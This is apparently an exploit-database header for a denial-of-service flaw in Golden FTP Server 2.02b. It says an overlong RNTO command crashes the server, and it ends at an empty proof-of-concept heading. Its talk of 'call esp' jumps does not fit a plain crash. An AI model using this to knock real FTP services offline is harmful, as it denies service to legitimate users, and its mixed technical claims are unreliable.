# Exploit Title: Golden FTP Server 2.02b - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 21 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1AK6x0xKwjVZxoNHbCOIJsIiRAWeMmP_0/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Golden FTP Server 2.02b - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC
